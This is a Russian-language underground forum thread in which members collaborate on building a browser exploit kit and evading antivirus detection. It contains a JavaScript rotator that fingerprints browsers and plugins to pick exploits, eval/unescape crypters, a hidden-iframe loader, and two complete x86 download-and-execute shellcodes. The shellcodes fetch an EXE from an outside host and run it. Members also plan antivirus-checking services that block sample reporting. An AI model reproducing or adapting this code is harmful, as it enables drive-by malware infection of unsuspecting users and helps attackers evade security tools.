Подскажите по связке.

JAVA SMB -не думаю, что подойдет к микросвязке, будет палевно ибо тянуть нужно с нашего сервака ...Как-то противоречит самой идеи микросвязки..На счет HCP -он кроссбраузерный например феникс выдает его для IE так:
Код:
   function addi(src)
     {
       var n = document.createElement('iframe');
       n.setAttribute('src', src);
       n.setAttribute('width', 0);
       n.setAttribute('height', 0);
       n.setAttribute('frameborder', '0');
       document.body.appendChild(n);
     }
     addi('itkzcqfpelivdnc.asx');
Тобиш через Windows Media Player, а в других связках-видел простую выдачу во фрейме...Подробнее о нем тут
 
Пользователь с ником Wergon попросился участвовать в разработке. Скинул мне ПМ свои наработки. Если решите что он достоен участия - пущу сюда, к вам :)

Скачать Пароль на архив - YynmKQKc
Установка тривиальна (dump.sql и config.php), все без особых заморочек, хелп на главной странице. Внутри рабочих сплоитов нет, только примеры использования.
 
Идея в принципе норм, базовый билдер с сохранением связки в mysql базе.

Ротатор(файлы base.js - база, make.php - билдер):
Код:
if (document.cookie.indexOf("qh9hptv2=1") == -1) {
document.cookie = "qh9hptv2=1";

var browsers = { 1:/opera[\s\/]([\d\.]+)(?=.*?version[\s\/]([\d\.]+))?/i,2:/msie[\s\/]([\d\.]+)/i,3:/firefox\/([\d\.]+)/i,4:/chrome\/([\d\.]+)/i,5:/safari\/([\d\.]+)/i };

var plugins = { 6:/Acrobat|PDF/i,7:/Flash/i,8:/QuickTime|QTime/i,9:/Java.*?Platform/i };
var m, ua = window.navigator.userAgent, pl = window.navigator.plugins, br = -1, vr = 0, nv = /^[\d\.]+$/;

for (var i in browsers) {
 if (m = ua.match(browsers[i])) {
  br = i;
   for (var j = m.length - 1; j > 0; j--) {
    if (nv.test(m[j])) {
     vr = m[j];
     break;
    }
   }
  break;
 }
}

var pls = [];
for (var i in plugins) {
 for (var j = 0, len = pl.length; j < len; j++) {
  pls[i] = 0;
  if (pl[j].name.match(plugins[i])) {
   pls[i] = pl[j].version ? pl[j].version : 1;
   break;
  }
 }
}
document.write(spl(cond()));
} 

function cond() {
if (pls[6]) return 1;
else if (br == 3 && vr <= '4.2' && pls[8] && pls[8] >= '1.4' && pls[8] <= '1.4')
return 6;

else if (br == 3 && vr >= '3.0.0' && vr <= '3.5.7')
return 4;

else if (br == 2 && vr <= '9' && pls[9])
return 2;

else if (br == 2) return 3; else if (br == 1 && vr >= '10.0' && vr <= '10.90')
return 5;
}

function spl(id) {
 switch (id) {
case 1: return ' ';
        break;
case 2: return '';
        break;
case 3: return ' ';
        break;
case 4: return '';
        break;
case 5: return '';
        break;
case 6: return ''; 
        break;
default: return '';
        break;
 }
}

Крипторы:
1)eval(String.fromCharCode("321")); (chrcode.php).
2)eval(unescape("123")); (unescape.php).

В остальном ничего особенного.
Скрипт неплохой, если чуток доработать, то можно спокойно на основе этого(ключевое слово: cron) написать неплохую микросвязку, чем мы и занимаемся :)

karabas-barabas
Что там о твоей идеи с шеллкодом ?

Я так понял, что смысл заключается в этом:
Выполняется шк -> get_needed_api(); -> writefile(buffer_with_dll); -> loadlibrary(dll_in_temp); -> выполняем точку входа.
Т.е запускаем шк, получаем нужные апи, из памяти пишем дллку в темп_адрес, загружаем её.
Если немного всё дело обфусцировать, то получится очень даже гуд вещь. Например тот же самый buffer_with_dll можно получать разными способами, также можно убрать запись на диск, запуская длл в памяти.
 
опять же возвращаемся назад , 1) есть ли смысл в этом если лоадеры дедовскими способами показывают 70-85% , 2) конечно было бы хорошо если б в связке была такая опция , просто смысл - грузить уже готового бота в виде длл , а не еще одну дллку посредник - практика показывает чем побольше звеньев, тем на каждом звене обязательно будут потери, 3) смогут ли другие экспы - загружать длл и делать loadlibrary (тот же java pdf) 4) идут года, а связки так же, как и при наших дедах, когда они были молоды - запускают файло из темповой директории - добавляя доп балы проактивке при запуске екзе из темпа 5) было бы хорошо юзать из %APPDATA%, например получать ее из GetEnvironmentVariable , ну еще можно применить фантазию типа Createdirectory(%APPDATA%\Microsoft , можно заюзать UrlDownnloadToCache и оттуда пускать 6) если что-то нужно с шеллкодом готов всегда помочь
7) я думаю не стоит мудрить с PE лоадером - достаточно просто UrlDownloadToFile + Loadlibrary

Преимущества:
1) повышение пробива на 5-10%
2) меньшая палевность бота,
если б я работал в ав конторе, я бы делал камп приманку который в авто-режиме серфит сайты, с бажным софтом , и драйверок перехватчик - который перехватывает запускающиеся екзешники и складирует их куда надо , с дллками тут все намного посложнее, т.к. браузеры сами по 100 раз выгружают и загружают разные дллки, а аверы существа ленивые , да к тому же наверное не готовы к такому
 
Ковырял тут на днях...
Eleonore v1.6 shellcode:

Код:
START:
        JMP @jump1

@back1:
        POP EBX
        DEC EBX
        JMP @code1

@jump1:
        CALL @back1

@code1:
        JMP @jump2

@back2:
        POP EDI
        MOV EAX,DWORD PTR FS:[030h]
        MOV EAX,DWORD PTR DS:[EAX+0Ch]
        MOV ESI,DWORD PTR DS:[EAX+01Ch]
        LODS DWORD PTR DS:[ESI]

@loop:
        MOV EBP,DWORD PTR DS:[EAX+8]
        MOV ESI,DWORD PTR DS:[EAX+020h]
        MOV EAX,DWORD PTR DS:[EAX]
        CMP BYTE PTR DS:[ESI],06Bh
        JNZ @loop
        INC ESI
        INC ESI
        CMP BYTE PTR DS:[ESI],065h

@loop2:
        JNZ @loop
        INC ESI
        INC ESI
        CMP BYTE PTR DS:[ESI],072h
        JNZ @loop2
        INC ESI
        INC ESI
        CMP BYTE PTR DS:[ESI],06Eh
        JNZ @loop2
        MOV ESI,EDI
        PUSH 3
        POP ECX

@loop3:
        CALL @getapi
        LOOPD @loop3
        PUSH 06E6Fh
        PUSH 06D6C7275h
        PUSH ESP
        CALL DWORD PTR DS:[ESI]; LoadLibrary(urlmon.dll);
        MOV EBP,EAX
        CALL @getapi
        PUSH 032336Ch
        PUSH 06C656873h
        PUSH ESP
        CALL DWORD PTR DS:[ESI]; LoadLibrary(shell32.dll);
        MOV EBP,EAX
        CALL @getapi
        SUB ESP,040h
        MOV EBX,ESP
        PUSH EBX
        PUSH 040h
        CALL DWORD PTR DS:[ESI+4]; GetTempPath
        MOV DWORD PTR DS:[EBX+EAX],078652E61h
        MOV WORD PTR DS:[EBX+EAX+4],065h
        XOR EAX,EAX
        PUSH EAX
        PUSH EAX
        PUSH EBX
        PUSH EDI
        PUSH EAX
        CALL DWORD PTR DS:[ESI+0Ch]; URLDownloadToFile
        MOV EBX,ESP
        PUSH EAX
        PUSH EAX
        PUSH EAX
        PUSH EBX
        PUSH EAX
        PUSH EAX
        CALL DWORD PTR DS:[ESI+010h]; ShellExecute
        CALL DWORD PTR DS:[ESI+8]; ExitProcess

@getapi:
        PUSH ECX
        PUSH ESI
        MOV ESI,DWORD PTR SS:[EBP+03Ch]
        MOV ESI,DWORD PTR DS:[ESI+EBP+078h]
        ADD ESI,EBP
        PUSH ESI
        MOV ESI,DWORD PTR DS:[ESI+020h]
        ADD ESI,EBP
        XOR ECX,ECX
        DEC ECX

@loop4:
        INC ECX
        LODS DWORD PTR DS:[ESI]
        ADD EAX,EBP
        XOR EBX,EBX

@loop5:
        MOVSX EDX,BYTE PTR DS:[EAX]
        CMP DL,DH
        JE @jump3
        ROR EBX,0Dh
        ADD EBX,EDX
        INC EAX
        JMP @loop5

@jump3:
        CMP EBX,DWORD PTR DS:[EDI]
        JNZ @loop4
        POP ESI
        MOV EBX,DWORD PTR DS:[ESI+024h]
        ADD EBX,EBP
        MOV CX,WORD PTR DS:[EBX+ECX*2]
        MOV EBX,DWORD PTR DS:[ESI+01Ch]
        ADD EBX,EBP
        MOV EAX,DWORD PTR DS:[EBX+ECX*4]
        ADD EAX,EBP
        STOS DWORD PTR ES:[EDI]
        POP ESI
        POP ECX
        RETN

@jump2:
        CALL @back2
        DB 8Eh, 4Eh, 0Eh, 0ECh, 33h, 0CAh, 8Ah, 5Bh, 7Eh, 0D8h, 0E2h, 73h, 36h, 1Ah, 2Fh, 70h
        DB 5Eh, 0BBh, 0E1h, 1Bh
        DB "http://myhost.ru/myfile.exe", 0
END START

karabas-barabas
Так вот к чему ты клонишь :)
Всего два фактора: палевные апи, проще говоря заюзанные(URLDownloadToFile, WinExec, ShellExecute) и скрытие самого запуска путём инициализации длл.

Моё предложение таково:
shellcode -> get_needed_api(); -> wininet funcs or socket funcs(ws2_32.dll) or URLDownloadToCache(urlmon.dll); -> save_dll_to_APPDATA(); -> loadlibrary();
Т.е ищем нужные апишки, скачиваем любым способом длл файл(возможно даже после скачки, чтобы аверы не стыбзили - убрать из него опр. участи кода, а затем в шк их восстановить), далее сохраняем его и запускаем.
Вообщем надо эксперементировать.

У меня сейчас два варианта:
1)Тот, что выше.
2)Небольшая экзотика, думаю на неделе собрать этот велосипед - заинтересованных прошу отписаться, чтобы поскорее начать тесты.
 
karabas-barabas Так вот к чему ты клонишь Всего два фактора: палевные апи, проще говоря заюзанные(URLDownloadToFile, WinExec, ShellExecute) и скрытие самого запуска путём запуска длл.
я тебе про общую концепцию говорю , ты мне про частный случай реализации чего-то - не в апи дело

3) смогут ли другие экспы - загружать длл и делать loadlibrary (тот же java pdf)
некоторые экспы не юзают шеллкода , в их скриптовой реализаци вообще может не быть "загрузки дллки" , тогда в этом случае нужно будет чтобы те у которых нет шеллкода грузили екзешник , а остальные - дллку, опять же это уже порнография. Я тебе уже 3-й раз пишу - ты уверен, что все экспы можно переделать под скачку-подгрузку дллки ? если нет - то тогда будет очень непрактично, конечному заказчику это головная боль и т.д.
 
Поговорили с karabas-barabas на эту тему.
Есть сейчас полностью рабочий вариант:
1)Работает на 2k, Winxp(all), WinVista, Win7.
2)Обычный шк, но модифицирован немного.
3)Нуждаюсь в тестерах...
4)Если есть идеи на счёт шеллкода - пишите.
5)Планируется постепенно в процессе тестов наращивать сложность выполнения шк, чтобы выявить зависимость от той или иной детали.
 
Спасибо, интересует в какую сторону дорабатывать.
Ты там дальше не дочитал мысль :)
Вообщем для начала было бы неплохо расширить функционал скрипта в плане криптовки(обфускации), также не забывай про "антивепавет" проверки(таковые кажется в элеоноре есть - можешь поизучать, если что пиши пм - скину несколько набросков), ещё вот тоже почитай(я в топе писал):

Согласен, тут конечно сразу идёт полёт фантазии...
Допустим обычный форум с посещаемостью(по большей части движок напутан js кодом).
Внутри код полностью пермутирован(т.е разбит на кучу блоков и они связаны между собой лишь инклудами), все блоки пошифрованы под основной код, чтобы не спалиться.
Также всевозможный детект от анализа, можно ещё и процедуру домен чека и ав сканнинга придумать, которая каждые 5 минут в случае чего ненужный код с форума тяпнет
Но это только пока мечты - мб через месяцок реализуем))

Если распологаешь контактом - скинь в пм, половину из вышесказанного я сделал - мб вместе что-то реализуем, если есть хорошие идеи.
 
Реализовал быструю систему реагирования на занесение в блэк-листы.
1)В первую очередь собрал получасовой сканнинг антивирусами.
2)Собрал около 15 вепавет сайтов по которым можно будет вести скан.
3)Сделал несколько уловок по поисковикам.
Думаю если вдуматься, то реализовать такое несложно)
Теперь вот бы связку дописать... :)

Пока делал всё это, в голову взбрело сделать свой авчек, благо наброски есть.
Не буду говорить голословно, а лишь задам несколько вопросов:
1)UNIX или Windows юзать для сего проекта ?
Судя по тому, что ав софта сейчас под Win больше, да и под него кодить легче => выбор падает на Win-подобную систему.

2)Каким образом реализоввывать скан ?
Было много идей, но из них всех вытекли 2 мысли:
I)на веб языке работать с command line антивирусами, парсить выходную строку и выводить в кач-ве детекта.
II)на апи: парсить вывод командной строки антивируса и выводить в кач-ве детекта.

3)Самое интересное: как избежать репортов + стукачей(продукты, которые не спрашивая у пользователя сливают сэмплы в контору).
Также вытекло два варианта(про VMWare забудьте :) ):
I)Запускать весь софт в своебразной песочнице, затем после заданного timeout удалять файлы, созданные антивирусом.
Интернет соединение блочить фаером.
II)Пишем драйвер, который будет следить за опр. процессом и также после опр. timeout будет подчищать за антивирусом, интернет соединение будет блокироваться из него же.

Выражайте своё мнение - я уже довольно много сделал, касательно этого проекта - думаю всеобщими усилиями что-то и выйдет.
 
Сказано - сделано.
Доработал один perl скрипт, в итоге получился почти что сервис. Не хватает только платёжки(скриптов).
Вообщем, кому интересно - смотрим скрины внизу.

В идеале хотелось бы многопоточный и стабильный скан, поэтому проверка на основе perl скрипта - отпадает.

Ссылки на скрины:
http://picvol.com/avcheck/
http://picvol.com/avcheck2/

Пароль:
xss.pro/
 
Всех с наступающим НГ!

Наконец-то экзотика попалась:
Синтаксис: masm(если кому надо могу под fasm переделать).

Функции: GlobalAlloc,LoadLibrary(wininet.dll),InternetOpen, InternetOpenUrl,InternetReadFile,GetTempPath,DeleteFile,CreateFile,WriteFile,
CloseHandle,WinExec,ExitProcess.
Не забываем про GetProcAddress!

Получение kernel базы:
Код:
        ADD EAX,DWORD PTR FS:[EAX+030h]
        MOV EAX,DWORD PTR [EAX+0Ch]
        MOV ESI,DWORD PTR [EAX+01Ch]
        LODS DWORD PTR [ESI]
        MOV ESI,DWORD PTR [EAX+8]
        PUSH ESI                    ;kernel32.dll base

@loop:
        LODS BYTE PTR [ESI]
        CMP AL,08Bh
        JNZ @loop
        CMP BYTE PTR [ESI],07Dh
        JNZ @loop
        ADD ESI,3
        LODS DWORD PTR [ESI]
        CMP EAX,0FFFFh
        JNZ @loop
        SUB ESI,011h                ;esi = GetProcAddress
        POP EBX

Исходник шк:
Код:
start:
        assume fs: nothing
        CALL @delta
@delta:
        POP EBP
        SUB EBP,offset @delta
        SUB EAX,EAX

;получение kernel базы + GetProcAddress api.
        ADD EAX,DWORD PTR FS:[EAX+030h]
        MOV EAX,DWORD PTR [EAX+0Ch]
        MOV ESI,DWORD PTR [EAX+01Ch]
        LODS DWORD PTR [ESI]
        MOV ESI,DWORD PTR [EAX+8]
        PUSH ESI                    ;kernel32.dll base

@loop:
        LODS BYTE PTR [ESI]
        CMP AL,08Bh
        JNZ @loop
        CMP BYTE PTR [ESI],07Dh
        JNZ @loop
        ADD ESI,3
        LODS DWORD PTR [ESI]
        CMP EAX,0FFFFh
        JNZ @loop
        SUB ESI,011h                ;esi = GetProcAddress
        POP EBX
        CALL @next

db 47h,6Ch,6Fh,62h,61h,6Ch,41h,6Ch,6Ch,6Fh,63h,00h

@next:
        PUSH EBX
        CALL ESI                            ;GetProcAddress

        PUSH 0100000h
        PUSH 040h
        CALL EAX                            ;GlobalAlloc

        PUSH EAX
        CALL @next1

db 4Ch,6Fh,61h,64h,4Ch,69h,62h,72h,61h,72h,79h,41h,00h

@next1:
        PUSH EBX
        CALL ESI                            ;GetProcAddress

        CALL @next2
db 77h,69h,6Eh,69h,6Eh,65h,74h,00h

@next2:
        CALL EAX                            ;LoadLibrary

        PUSH EAX
        PUSH EAX
        CALL @next3

db 49h,6Eh,74h,65h,72h,6Eh,65h,74h,4Fh,70h,65h,6Eh,41h,00h

@next3:
        PUSH EAX
        CALL ESI                            ;GetProcAddress

        PUSH 0
        PUSH 0
        PUSH 0
        PUSH 1
        CALL @next4

db 4Dh,6Fh,7Ah,69h,6Ch,6Ch,61h,2Fh,34h,2Eh,30h,00h

@next4:
        CALL EAX                            ;InternetOpen
        POP EDX
        PUSH EAX
        CALL @next5

db 49h,6Eh,74h,65h,72h,6Eh,65h,74h,4Fh,70h,65h,6Eh,55h,72h,6Ch,41h,00h

@next5:
        PUSH EDX
        CALL ESI                            ;GetProcAddress
        POP EDX
        LEA ECX,DWORD PTR [EBP+url]
        PUSH 0
        PUSH 080000000h
        PUSH 0
        PUSH 0
        PUSH ECX
        PUSH EDX
        CALL EAX                            ;InternetOpenUrl
        POP ECX
        PUSH EAX
        CALL @next6

db 49h,6Eh,74h,65h,72h,6Eh,65h,74h,52h,65h,61h,64h,46h,69h,6Ch,65h,00h

@next6:
        PUSH ECX
        CALL ESI                            ;GetProcAddress
        POP ECX
        LEA EDX,DWORD PTR [EBP+address]
        POP EDI
        PUSH EDX
        PUSH 0100000h
        PUSH EDI
        PUSH ECX
        CALL EAX                            ;InternetReadFile
        CALL @next7

db 47h,65h,74h,54h,65h,6Dh,70h,50h,61h,74h,68h,41h,00h

@next7:
        PUSH EBX
        CALL ESI                            ;GetProcAddress
        LEA EDX,DWORD PTR [EBP+addresstemp]
        PUSH EDX
        CALL EAX                            ;GetTempPath
        POP EDX
        MOV BYTE PTR DS:[EDX+EAX],31h      ;пишем ноль в конец строки.
        CALL @next8

db 44h,65h,6Ch,65h,74h,65h,46h,69h,6Ch,65h,41h,00h

@next8:
        PUSH EBX
        CALL ESI                            ;GetProcAddress
        LEA EDX,DWORD PTR [EBP+addresstemp]
        PUSH EDX
        CALL EAX                            ;DeleteFile
        CALL @next9

db 43h,72h,65h,61h,74h,65h,46h,69h,6Ch,65h,41h,00h

@next9:
        PUSH EBX
        CALL ESI                            ;GetProcAddress
        LEA EDX,DWORD PTR [EBP+addresstemp]
        PUSH 0
        PUSH 80
        PUSH 2
        PUSH 0
        PUSH 2
        PUSH 40000000
        PUSH EDX
        CALL EAX                            ;CreateFile
        PUSH EAX
        PUSH EAX
        CALL @next10

db 57h,72h,69h,74h,65h,46h,69h,6Ch,65h,00h

@next10:
        PUSH EBX
        CALL ESI                            ;GetProcAddress
        POP EDX
        PUSH ESI
        MOV ECX,5360h
        LEA ESI,DWORD PTR [EBP+address2]
        PUSH 0
        PUSH ESI
        PUSH ECX
        PUSH EDI
        PUSH EDX
        CALL EAX                            ;WriteFile
        POP ESI
        CALL @next11

db 43h,6Ch,6Fh,73h,65h,48h,61h,6Eh,64h,6Ch,65h,00h

@next11:
        PUSH EBX
        CALL ESI                            ;GetProcAddress
        CALL EAX                            ;CloseHandle
        CALL @next12

db 57h,69h,6Eh,45h,78h,65h,63h,00h

@next12:
        PUSH EBX
        CALL ESI                            ;GetProcAddress
        LEA EDI,DWORD PTR [EBP+addresstemp]
        PUSH 1
        PUSH EDI
        CALL EAX                            ;WinExec
        CALL @next13

db 45h,78h,69h,74h,50h,72h,6Fh,63h,65h,73h,73h,00h

@next13:
        PUSH EBX
        CALL ESI                            ;GetProcAddress
        CALL EAX                            ;ExitProcess

url         db "http://myurl.ru/file.exe", 0
address     dd ?
address2    dd ?
addresstemp dd 20 dup(?)

end start
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх